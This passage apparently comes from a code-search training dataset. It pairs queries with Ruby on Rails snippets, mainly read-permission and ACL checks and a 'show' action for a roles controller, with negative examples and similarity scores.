this object\")\n end\n end\n # END OF DEPRICATED CODE\n\n # If 'find' is used on the plural association, make sure that none of its\n # parameters contain unsafe SQL (aka call the appropriate 'transform' method\n # on that string).\n if method.to_s == \"find\"\n args = clean_args(args)\n end\n\n # As with all objects potentially pulled from the database, policies need\n # to be set up immediatly\n target.each do |obj|\n obj.populate_policies\n end\n \n # If no errors have been raised up to this point, pass the method on to the\n # target, along with any arguments or block that may have been provided\n if block_given?\n @target.target.send(method,*args,&body)\n else\n @target.send(method,*args,&body)\n end\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def read_by?(user)\n\t user and self.readers.find_by_id(user.id)\n end", "def can_read?(user)\n (self.user == user) || course.can_edit?(user)\n end", "def _accessible_through_family? user, edit_or_view\n descendent_access, sibling_access, nephew_access =\n if edit_or_view == :edit\n [user.can_edit_descendents_resources, user.can_edit_siblings_resources || user.manager?, user.can_edit_nephews_resources]\n else\n [user.can_view_descendents_resources, user.can_view_siblings_resources || user.manager?, user.can_view_nephews_resources]\n end\n # check permission to access siblings' stuff\n return true if sibling_access and self.agent.parent_id == user.parent_id\n # check permission to access descendents' stuff\n return true if descendent_access and self.agent.descendent?(user)\n # check permission to access nephews' stuff\n return true if nephew_access and self.agent.parent_id != user.parent_id and self.agent.descendent?(user.parent)\n # default return\n false\n end", "def propagate_acl()\n\n #Propagate to subfolders\n self.children.each do |subfolder|\n if subfolder.acl.inherits\n acl = self.acl.deep_clone()\n acl.inherits = true\n acl.save\n\n subfolder.acl = acl\n subfolder.save\n\n subfolder.propagate_acl()\n end\n end\n\n #Propagate to documents\n self.references.each do |reference|\n if reference.acl.inherits\n acl = self.acl.deep_clone()\n acl.inherits = true\n acl.save\n reference.acl = acl\n reference.save\n end\n end\n\n\n end", "def child_acl\n acl = super\n acl << {\n 'privilege' => '{DAV:}read',\n 'principal' => @calendar_info['principaluri'],\n 'protected' => true\n }\n\n unless @calendar_info['{http://sabredav.org/ns}read-only']\n acl << {\n 'privilege' => '{DAV:}write',\n 'principal' => @calendar_info['principaluri'],\n 'protected' => true\n }\n end\n\n acl\n end", "def authorize_against(parent_typed_object)\n parent_typed_object.object if built_in_type? && parent_typed_object.respond_to?(:object)\n end", "def object_rights\n convert_value_to_array(model.object_rights).slice(0,1) # return an array containing only the first object_rights or an empty array\n end", "def read_allowed?(user)\n return false if self.draft && self.user != user\n all_categories_public = (self.categories.detect { |c| !c.public }).nil?\n return true unless self.group_restrictions.any? || (user.nil? && !all_categories_public)\n return true if self.group_restrictions.empty? && user && all_categories_public\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil?\n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false \n end", "def can_read?(profile)\n \n can_access?(profile, [2,6])\n \n end", "def list_authorized?\n authorized_for?(:crud_type => :read)\n end", "def list_authorized?\n authorized_for?(:crud_type => :read)\n end", "def filter_access(enumerable)\n return enumerable unless LinkedData.settings.enable_security\n return enumerable unless enumerable.first.is_a?(LinkedData::Models::Base)\n enumerable = enumerable.dup if enumerable.frozen?\n LinkedData::Security::AccessControl.filter_unreadable(enumerable, env[\"REMOTE_USER\"])\n enumerable\n end", "def may_read?(*args)\n\t\t\t(self.role_names & \n\t\t\t\t['superuser','administrator','editor','interviewer','reader']\n\t\t\t).length > 0\n\t\tend", "def read_persons\n read_individual_field = Hydra.config[:permissions][:read][:individual]\n rp = edit_persons | ((@permissions_solr_document == nil || @permissions_solr_document.fetch(read_individual_field,nil) == nil) ? [] : @permissions_solr_document.fetch(read_individual_field,nil))\n logger.debug(\"read_persons: #{rp.inspect}\")\n return rp\n end", "def controls_access_for?(person)\n affected_people.any? { |p| p && (p.id == person.id) } # Checking by object doesn't work for some reason, have to use ID!\n end", "def accountant_allow_read(permission)\n return accountant_right(permission) > 0\n end", "def read_allowed?(user)\n return true unless self.group_restrictions.any? || (user.nil? && self.categories.detect { |c| !c.public })\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil? \n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false\n end", "def readable_by?(user)\n user.in_session?(resource) || user.admin_for?(resource.course)\n end", "def allowed_to_read_other_users\n return @allowed_to_read_other_users\n end", "def get_read_access( u)\n \n return (u == self.user) || (self.public)\n \n \n end", "def permitted_to_read?(user)\n user.is_admin? || (has_groupblog_permission?(user) || self.user == user || self.group.moderator == user || (self.group.can_user_see_eachother && group.participants.include?(user)))\n end", "def is_immediate_parent?( potential_parent_array )\n \n return @parents.include?( potential_parent_array )\n \n end", "def check_parent_resources\n # Key to hash for controller relationships information.\n ar_parents_key= @controller.controller_class_name.intern\n parents= @res_parents[@controller.controller_name]\n\n if !parents || parents.empty?\n @controller.ar_controller_parents[ar_parents_key]= Set.new\n else\n parents.each do |controller_name|\n AutoRest::RailsResources.of_controller(controller_name).each do |parent_res|\n \n # I don't support nesting more than one level yet. Sorry!\n next if parent_res.name_prefix && !parent_res.name_prefix.empty?\n \n self.parent_resources << Struct::ARResource.new(parent_res.singular.to_s, \n parent_res.plural.to_s,\n parent_res.singular.camelize.constantize,\n parent_res.singular.capitalize,\n (\"#{parent_res.singular.to_s}_\" || ''))\n \n parent_controller= \"#{parent_res.plural.to_s.camelize}Controller\".intern\n \n (@controller.ar_controller_parents[ar_parents_key]||= Set.new) << parent_controller\n end\n end\n end\n self.parent_resources= Set.new(self.parent_resources)\n end", "def extra_perms_for_all_users\n can :create, [User, AccountSource]\n can :create, Version\n can :read, Team, :private => false\n can :read, Team, :private => true, id: @user.cached_teams\n can_list Team, { inactive: false }\n can_list Project, { 'joins' => :team, 'teams.inactive' => false }\n cannot :manage, BotUser\n\n # A @user can read a user if:\n # 1) @user is the same as target user\n # 2) target user is a member of at least one public team\n # 3) @user is a member of at least one same team as the target user\n can :read, User, id: @user.id\n can :read, [User, BotUser], teams: { private: false }\n can :read, [User, BotUser], team_users: { status: ['member', 'requested'], team_id: @user.cached_teams }\n\n # A @user can read project or team user if:\n # 1) team is private and @user is a member of that team\n # 2) team user is not private\n can :read, [Project, TeamUser, ProjectGroup, SavedSearch], team_id: @user.cached_teams\n can :read, [Project, TeamUser, ProjectGroup, SavedSearch], team: { private: false }\n\n # A @user can read any of those objects if:\n # 1) it's a source related to him/her or not related to any user\n # 2) it's related to at least one public team\n # 3) it's related to a private team which the @user has access to\n can :read, [Account, ProjectMedia, Source], user_id: [@user.id, nil]\n can :read, [Media, Link, Claim], project_medias: { team: { private: false } }\n can :read, [Media, Link, Claim], project_medias: { team_id: @user.cached_teams }\n\n can :read, Account, source: { user_id: [@user.id, nil] }\n can :read, Relationship, { source: { team_id: @user.cached_teams }, target: { team_id: @user.cached_teams } }\n can :read, ProjectMedia do |obj|\n (!obj.team.private || @user.cached_teams.include?(obj.team.id)) && obj.user_can_see_project?(@user)\n end\n\n can :read, Cluster do |obj|\n shared_team_ids = @context_team.shared_teams.map(&:id)\n team_ids = (shared_team_ids & @user.cached_teams)\n ProjectMedia.where(cluster_id: obj.id, team_id: shared_team_ids).exists? && !team_ids.empty?\n end\n\n can :read, BotUser do |obj|\n obj.get_approved || @user.cached_teams.include?(obj.team_author_id)\n end\n\n can [:read, :create, :update, :destroy], ProjectMediaUser do |obj|\n obj.user_id == @user.id\n end\n\n can [:read, :create], TiplineMessage do |obj|\n @user.cached_teams.include?(obj.team_id)\n end\n\n annotation_perms_for_all_users\n\n cannot :manage, ApiKey\n\n can [:create, :update], LoginActivity\n\n cannot :find_by_json_fields, DynamicAnnotation::Field\n\n can [:read, :create], Shortener::ShortenedUrl\n\n can :read, Feed do |obj|\n !(@user.cached_teams & obj.team_ids).empty?\n end\n\n can :read, FeedTeam do |obj|\n @user.cached_teams.include?(obj.team_id)\n end\n\n can :read, Request do |obj|\n !(@user.cached_teams & obj.feed.team_ids).empty?\n end\n end", "def authorize_inherited_resource!\n authorize! :show, parent if parent?\n authorize! authorizable_action, authorize_resource? ? resource : resource_class\n end", "def permits_read_acccess_for(user)\n end", "def canBeReadBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights >= 4\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights >= 4\n return true\n else\n return false\n end\n else\n if @othersRights >= 4\n return true\n else\n return false\n end\n end\n end", "def check_resource_ownership\n if admin_user.is_not_root?\n\n condition_typus_users = @item.respond_to?(Typus.relationship) && !@item.send(Typus.relationship).include?(admin_user)\n condition_typus_user_id = @item.respond_to?(Typus.user_foreign_key) && !admin_user.owns?(@item)\n\n not_allowed if (condition_typus_users || condition_typus_user_id)\n end\n end", "def user_access_by_embed\n strong_memoize(:user_access_by_embed) do\n unique_embeds.each_with_object({}) do |embed, access|\n project = projects_by_path[embed.project_path]\n\n access[embed] = Ability.allowed?(user, embed.permission, project)\n end\n end\n end", "def may_read?(*args)\n\t\t(self.role_names & \n\t\t\t['superuser','administrator','exporter','editor','reader']\n\t\t).length > 0\n\tend", "def is_reader?(user)\n public || permitted?(readers_join_table, user)\n end", "def apply_parent_acl(container)\n container_acl_data = container.fetch_acl\n container_acl = Acl.new(container_acl_data)\n self_acl = Acl.new(fetch_acl)\n self_acl.merge!(container_acl)\n self_acl.aces.each { |ace_name,ace| update_ace(ace_name, ace.ace) }\n end", "def reseller_allow_read(permission)\n return reseller_right(permission) > 0\n end", "def requested_through_parents?\n (@parents.blank?) ? false : true\n end", "def readable_by?(user_id)\n user = user_id.is_a?(User) ? user_id : User.find(user_id)\n owner_orgs = self.owner_and_coowners.collect(&:org)\n \n # Super Admins can view plans read-only, Org Admins can view their Org's plans \n # otherwise the user must have the commenter role\n (user.can_super_admin? ||\n user.can_org_admin? && owner_orgs.include?(user.org) ||\n has_role(user.id, :commenter))\n end", "def custom_read_check(user, use_admin=false)\n Revision.custom_permissions_read(self, user, use_admin)\n end", "def read_write?\n if self_owned?\n true\n elsif plan.self_owned?\n owners.all? { |p| plan.owned_by?(p) }\n end\n end", "def read_allowed?(user)\n true\n end", "def can_read?(resource)\n scope_name = resource.class.to_s.downcase.pluralize\n self.send(\"readable_#{scope_name}\").where(\"`permissions`.resource_type = ? AND `permissions`.resource_id = ?\", resource.class.to_s, resource.id).exists?\n end", "def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end", "def index\n authorize! :index, nil\n @parents = Parent.by_name\n end", "def extra_perms_for_all_users\n can :create, User\n can :create, PaperTrail::Version\n can :read, Team, :private => false\n can :read, Team, :private => true, :team_users => { :user_id => @user.id, :status => 'member' }\n\n # A @user can read a user if:\n # 1) @user is the same as target user\n # 2) target user is a member of at least one public team\n # 3) @user is a member of at least one same team as the target user\n can :read, User do |obj|\n @user.id == obj.id || obj.teams.where('teams.private' => false).exists? || @user.is_a_colleague_of?(obj)\n end\n\n # A @user can read contact, project or team user if:\n # 1) team is private and @user is a member of that team\n # 2) team user is not private\n can :read, [Contact, Project, TeamUser] do |obj|\n team = obj.team\n !team.private || @user.is_member_of?(team)\n end\n\n # A @user can read any of those objects if:\n # 1) it's a source related to him/her or not related to any user\n # 2) it's related to at least one public team\n # 3) it's related to a private team which the @user has access to\n can :read, [Account, Source, Media, ProjectMedia, ProjectSource, Comment, Flag, Status, Tag, Embed, Link, Claim] do |obj|\n if obj.is_a?(Source) && obj.respond_to?(:user_id)\n obj.user_id == @user.id || obj.user_id.nil?\n else\n team_ids = obj.get_team\n teams = obj.respond_to?(:get_team_objects) ? obj.get_team_objects.reject{ |t| t.private } : Team.where(id: team_ids, private: false)\n if teams.empty?\n TeamUser.where(user_id: @user.id, team_id: team_ids, status: 'member').exists?\n else\n teams.any?\n end\n end\n end\n end", "def has_childs\n access = Access.where(:parent_id=>id).first\n if access.blank?\n return false\n else\n return true\n end\n end", "def check_record\n return page_not_found if request.path_parameters[:id] && record.nil?\n return page_not_found if parent_params.length != parent_records.compact.length\n records = [record, *parent_records].compact\n page_not_found if records.any? { |r| !r.is_a?(Course) && r.try(:course) != current_course }\n end", "def involved_plan_object?(obj)\n super || obj == parent\n end", "def role_for_nested(parent, child_assoc, child_model, child_id)\n lookup_role(\n find_nested_document(parent, child_assoc, child_model, child_id))\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def read_persons(pid)\n read_individual_field = Hydra.config[:permissions][:read][:individual]\n doc = permissions_doc(pid)\n rp = edit_persons(pid) | ((doc == nil || doc.fetch(read_individual_field,nil) == nil) ? [] : doc.fetch(read_individual_field,nil))\n logger.debug(\"[CANCAN] read_persons: #{rp.inspect}\")\n return rp\n end", "def get_nested_resource_objects\n end", "def check_parent\n\n @pid = get_parent_id\n if not @pid\n error \"Can't determine parent object for pages.\"\n return\n end\n\n if @collections.size > 1\n error \"The #{pretty_class_name} #{@directory_name} belongs to more than one collection - there must be exactly one, a parent object.\"\n return\n end\n\n numFound, parent_model, parent_iid, parent_lang_code = Utils.get_metadata_from_object config, @pid\n\n if numFound == 0\n error \"The object #{@pid} specified in collection does not exist.\"\n return\n end\n\n if parent_model != @content_model\n error \"The parent object #{@pid} specified in collection has unexpected content model #{parent_model}. Please specify an object of content type #{@content_model}.\"\n return\n end\n\n if not @directory_name =~ /^#{parent_iid}$|^#{parent_iid}_[0-9]{8}_[0-9]{6}$/\n error \"The parent object #{@pid} specified in collection has IID identifier #{parent_iid} which does not match the identifier portion of package directory name #{@directory_name}.\"\n return\n end\n\n if @mods_languages.size == 0 && parent_lang_code.length > 0\n warning_message = Utils.langs_unsupported_comment(@config, parent_lang_code)\n if not warning_message.empty?\n warning \"Found unsupported OCR language in parent object metadata: #{warning_message}.\"\n warning \"Will use #{Utils.langs_to_names(@config, parent_lang_code)} for OCR.\"\n end\n\n @mods_languages << parent_lang_code\n end\n\n @page_sequence = Utils.get_next_page_sequence config, @pid, @manifest.content_model\n if not @page_sequence\n error \"There was an error retrieving information about the page sequence.\"\n return\n end\n\n return true\n rescue => exception\n oops exception\n end", "def subquery_accessible entity\r\n result = []\r\n if entity.accessible?\r\n entity.children.each { |c|\r\n result.push c\r\n result.concat subquery_accessible(c)\r\n }\r\n end\r\n result\r\n end", "def nested?\n nesting_owner.length > 0\n end", "def delegate_parent_readers!\n return if @parent.blank? or self.class.parent_readers.blank?\n delegate_methods_to(self.class.parent_readers, :@parent) # in GenericMethods.\n end", "def run_authorization_check\n if instance_authority_resource.is_a?(Array)\n # Array includes options; pass as separate args\n authorize_action_for(*instance_authority_resource)\n else\n # *resource would be interpreted as resource.to_a, which is wrong and\n # actually triggers a query if it's a Sequel model\n authorize_action_for(instance_authority_resource)\n end\n end", "def trying_to_access_parent_unauthorized(current_dir_name, path)\n unless accessing_parent_of_ecole(current_dir_name, path) ||\n accessing_absolute_path(path) ||\n accessing_outside_parent(path)\n return false\n end\n\n puts <<~TXT.red\n Attention, tu ne peux pas aller plus loin, il faut que tu restes dans le dossier ECOLE \\\n et les dossiers qu'il y a dedans !\"\n TXT\n true\n end", "def walk?(cell)\n parents(cell.class).map do |p|\n if p.options[:polymorphic]\n if cell.respond_to?(\"#{p.name}_id\".to_sym) and cell.send(\"#{p.name}_id\")\n class_name = cell.send(\"#{p.name}\").class.name\n @opts[class_name] = {} unless @opts[class_name]\n @opts[class_name][cell.send(\"#{p.name}_id\")] or not should_copy?(class_name) # replicated parent?\n else\n true\n end\n else\n @opts[p.class_name] = {} unless @opts[p.class_name]\n safe_child = safe_child?(cell, p)\n @must_ignore << p.class_name unless safe_child\n safe_child\n end\n end.all?(&:present?)\n end", "def public?\n # first line just for formatting\n false || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AllUsers/ } || \\\n object_acl.any? { |g| g.grantee.type == \"Group\" && g.grantee.uri =~ /AuthenticatedUsers/ }\n end", "def can_access user\n return self.users.include? user\n end", "def have_access?(resource)\n # Master User always have access to all\n return true if self.master?\n # cache the acl hash\n @have_access ||= {}\n # add some caching...\n @have_access[resource.to_s] ||= begin\n res = Resource.find_by_resource(resource)\n res.nil? || resource_ids.include?(res.id) || roles.any? { |r| r.resource_ids.include?(res.id) }\n end\n end", "def scoped_collection(_parent_records)\n raise NotImplementedError.new 'override #scoped_collection in a subclass'\n end", "def load_collection\n current_ability.scope_for(authorization_action, resource_class) do\n resource_base.accessible_by(current_ability, authorization_action)\n end\n end", "def index\n @app_instances = parent_organization.app_instances.active.where(\"updated_at.gt\" => Time.at(timestamp)).select do |i|\n # force owner assignment to avoid a refetch in ability can?(:access,i)\n i.owner = parent_organization\n can?(:access,i)\n end\n end", "def object_has_access? (rights, pAccessList = @rAcl)\n\t\tret_access = pAccessList.user_is?([:moderator_products, :admin, :super_admin])\n\t\t\n\t\tif(!ret_access && !MARKETPLACE_MODE_ONLINE_SHOP && (self.seller_id != 0))\n\t\t\t@seller = Seller.where(id: self.seller_id).first if(@seller.nil?)\n\t\t\tif(@seller.present?)\n\t\t\t\tuser = pAccessList.user\n\t\t\t\toAcl = AccessList.new(!user.nil?, user)\n\t\t\t\toAcl.update_from_Object!(@seller)\n\t\t\t\t\n\t\t\t\tif(rights.include?(:edit))\n\t\t\t\t\tret_access = oAcl.is_any_right?([:objorg_owner, :objorg_seller])\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn ret_access\n\tend", "def authorize_reading\r\n # First check if the folder exists, if it doesn't: show an appropriate message.\r\n # If the folder does exist, only authorize the read-rights if it's not the Root folder.\r\n unless Folder.find_by_id(folder_id)\r\n flash.now[:folder_error] = 'Someone else deleted the folder you are using. Your action was cancelled and you have been taken back to the root folder.'\r\n redirect_to(:controller => 'folder', :action => 'list', :id => nil) and return false\r\n else\r\n super unless folder_id == 1\r\n end\r\n end", "def owned_by?(user)\n if (access_restricted?)\n return self.acl.owner?(user)\n end\n return false\n end", "def can_access user\n list = List.find(self.list_id)\n\n return list.can_access user\n end", "def ensure_read_user_scope!\n return if application_has_read_user_scope?\n return unless application_has_api_scope?\n\n add_read_user_scope!\n end", "def access_to_resources?(record)\n @normalized_resources.include?(record.resource)\n end", "def inherited_read_group(doc)\n read_group = nil\n\n return read_group unless doc[Solrizer.solr_name('ancestor_id', :stored_searchable, type: :text)].present?\n ancestor_docs = doc.ancestor_docs\n\n doc[Solrizer.solr_name('ancestor_id', :stored_searchable, type: :text)].reverse_each do |ancestor_id|\n ancestordoc = ancestor_docs[ancestor_id]\n read_groups = ancestordoc[Solrizer.solr_name('read_access_group', :stored_searchable, type: :symbol)]\n if read_groups.present? && read_groups.include?(ancestor_id)\n read_group = UserGroup::Group.find_by(name: ancestor_id)\n break\n end\n end\n\n read_group\n end", "def can_delete?\n @ac_type >= 3 #\"Managing\"\n # unless AuthenticationModel.current_user_is_anonymous?\n # # min_permission_to_child_tree_nodes_cache ||= get_min_permission_to_child_tree_nodes_by_user()\n # if (3 <= ac_type)# min_permission_to_child_tree_nodes_cache)\n # #can not delete if resource has link from other tree\n # output = TreeNode.get_subtree(:parent => id) #### TODO Dima M.\n # if output\n # output.each { |x| \n # #check all sub tree_node if all all child tree_nodes has \n # #minimal permissions for delete\n # if (x.ac_type < 3)\n # return false\n # else\n # if (x.is_main == true && !x.resource.nil? && x.resource.has_links?)\n # #if resorse has links on him self we can't delete\n # return false\n # end \n # end\n # }\n ## output.delete_if {|x| x.is_main == false || (x.is_main == true && (x.resource.nil? || x.resource.has_links? == false))}\n ## if output.length > 0\n ## return false \n ## end\n # end\n # return true\n # else\n # return false\n # end \n # end\n # #for anonymous user return false\n # false\n end", "def viewable_parent?\n parent.respond_to?(:member_ids) && parent.respond_to?(:thumbnail_id)\n end", "def read_permitted?\n return (acting_user.administrator? || true)\n end", "def perm_ancestors\n super + [parent_resource]\n end", "def find_collections_with_read_access\n find_collections(:read)\n end", "def find_collections_with_read_access\n find_collections(:read)\n end", "def allow_many?\n @allow_many == true\n end", "def arrangers\n find_related_frbr_objects( :is_arranged_by, :which_roles?) \n end", "def filter_readable_objects(s3_client, bucket, objs)\n readable_objects = []\n use_auth_method = use_authentication?\n\n workers = (0...20).map do\n if s3_client && use_auth_method\n # we have valid aws keys and bucket does not belong to api key -> use api calls to get objects\n check = determine_public_object_via_api(s3_client, bucket, objs, readable_objects)\n else\n # WHAT IF THE API KEY HAS RESTRICTED PERMISSIONS? CAN WE SOMEHOW SAVE THE USER?\n # either invalid aws keys/key owned by buckets -> attempt to retrieve the object using http\n check = determine_public_object_via_http(bucket, objs, readable_objects)\n end\n [check]\n end\n workers.flatten.map(&:join)\n\n _log_good \"Found #{readable_objects.size} public object(s) that are readable.\"\n readable_objects\n end", "def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end", "def can_edit_document?(doc = nil)\r\n if self.current_user == self.effective_user\r\n return true\r\n end\r\n\r\n if current_proxy_roles and current_proxy_roles.any?{ |i| [Sys::UserRelation::REL_CANCELARIA, Sys::UserRelation::REL_JUSTICE].include?(i) }\r\n return true\r\n end\r\n\r\n return false\r\n end", "def parent_collection?\n parent.collection?\n end", "def owns_parent?(parent)\n parent.student.teacher == current_user\n end" ]
[ "0.58500904", "0.58041215", "0.56830513", "0.56222034", "0.5562816", "0.5537368", "0.5445911", "0.5401641", "0.5393741", "0.53171045", "0.52759", "0.52554834", "0.525521", "0.5254547", "0.5254547", "0.5254547", "0.52515465", "0.5247554", "0.52192444", "0.5219029", "0.52159715", "0.5208723", "0.52079517", "0.52072763", "0.52040684", "0.5174337", "0.5174337", "0.51585805", "0.51500225", "0.5138685", "0.5118337", "0.5114778", "0.5108682", "0.5093741", "0.5083191", "0.5075959", "0.5060982", "0.50554264", "0.50544673", "0.50439674", "0.50391674", "0.5035495", "0.5026623", "0.50265384", "0.50211763", "0.50198764", "0.5019471", "0.50168514", "0.5003648", "0.4990539", "0.49896187", "0.49873996", "0.4968658", "0.49677902", "0.4965177", "0.49532095", "0.49460772", "0.49454403", "0.49439326", "0.49374613", "0.49338368", "0.49281108", "0.49239483", "0.49239483", "0.49239483", "0.49220124", "0.49211532", "0.4901217", "0.49007836", "0.48991182", "0.48898554", "0.48868895", "0.48810259", "0.487032", "0.4868094", "0.48614007", "0.48610464", "0.48610207", "0.48608282", "0.48591784", "0.48547438", "0.48410964", "0.48357585", "0.4834612", "0.48337096", "0.48333567", "0.4828113", "0.48277456", "0.48270535", "0.4824806", "0.48184022", "0.48163444", "0.48163444", "0.48133963", "0.48080143", "0.48054653", "0.48050228", "0.47942933", "0.4785599", "0.47853938" ]
0.68372613
0
GET /rols/1 GET /rols/1.xml
def show @rol = Rol.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @rol } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @rol = Rol.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def new\n @rol = Rol.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def index\n @roles = Role.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def index\n @all_roles = Role.all\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @roles = Role.all(:order=>'name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def index\n @roles = @client.roles\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def index\n @leks = Lek.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @leks }\n end\n end", "def index\n @users = User.all\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "def index\n\t\tindex_\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @roles }\n\t\tend\n\tend", "def index\n @lieus = Lieu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lieus }\n end\n end", "def show\n @user = User.find(params[:id])\n @roles = @user.roles\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "def index\n @users=User.find(:all, :limit => 15)\n @roles=Role.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def rol_params\n params[:rol]\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def update\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n if @rol.update_attributes(params[:rol])\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @roles = Role.paginate :page => params[:page],\n :per_page => 15,\n :order => sort_order('name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def show\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lyric }\n end\n end", "def show\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lyric }\n end\n end", "def index\n @roles = Rol.all\n end", "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n format.html { redirect_to(@rol, :notice => 'Rol was successfully created.') }\n format.xml { render :xml => @rol, :status => :created, :location => @rol }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @lsrs_cmp = LsrsCmp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lsrs_cmp }\n end\n end", "def show\n @roles_user = RolesUser.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @roles_user }\n end\n end", "def list\n\t\t@hras = Hra.paginate :page => params[:page], :per_page => 10\t#Pagination\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @hras }\t\t#Render to XML File\n \tend\n\tend", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def index\n @screen = session.active_screen\n @roles = Role.find(:all).sort_by{|r| r.name }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "def index\n @usrs = Usr.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @usrs }\n end\n end", "def index\n @roles = Role.all\n \n respond_to do |format|\n format.html { render :layout => 'application' } # use client application's layout\n format.xml { render :xml => @roles }\n end\n end", "def index\n @employees_rols = EmployeesRol.all\n end", "def show\n @lr40 = Lr40.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lr40 }\n end\n end", "def show\n @lsrs_soildata = LsrsSoil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lsrs_soildata }\n end\n end", "def index\n @rol_jueces = RolJuece.all\n end", "def index\n @lsrs_cmp = LsrsCmp.order('WarehouseName')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lsrs_cmp }\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def show\n @lr70 = Lr70.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lr70 }\n end\n end", "def index\n @secondary_title = 'Role Administration'\n @pages, @roles = paginate :roles, :order => 'name ASC',\n :per_page => per_page\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @roles.to_xml }\n end\n end", "def show\n @renewal = Renewal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @renewal }\n end\n end", "def index\n @users = User.all\n render :xml => @users\n end", "def show\n @rute = Rute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rute }\n end\n end", "def update\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n if @rol.update_attributes(params[:rol])\n format.html { redirect_to(@rol, :notice => 'Rol was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n 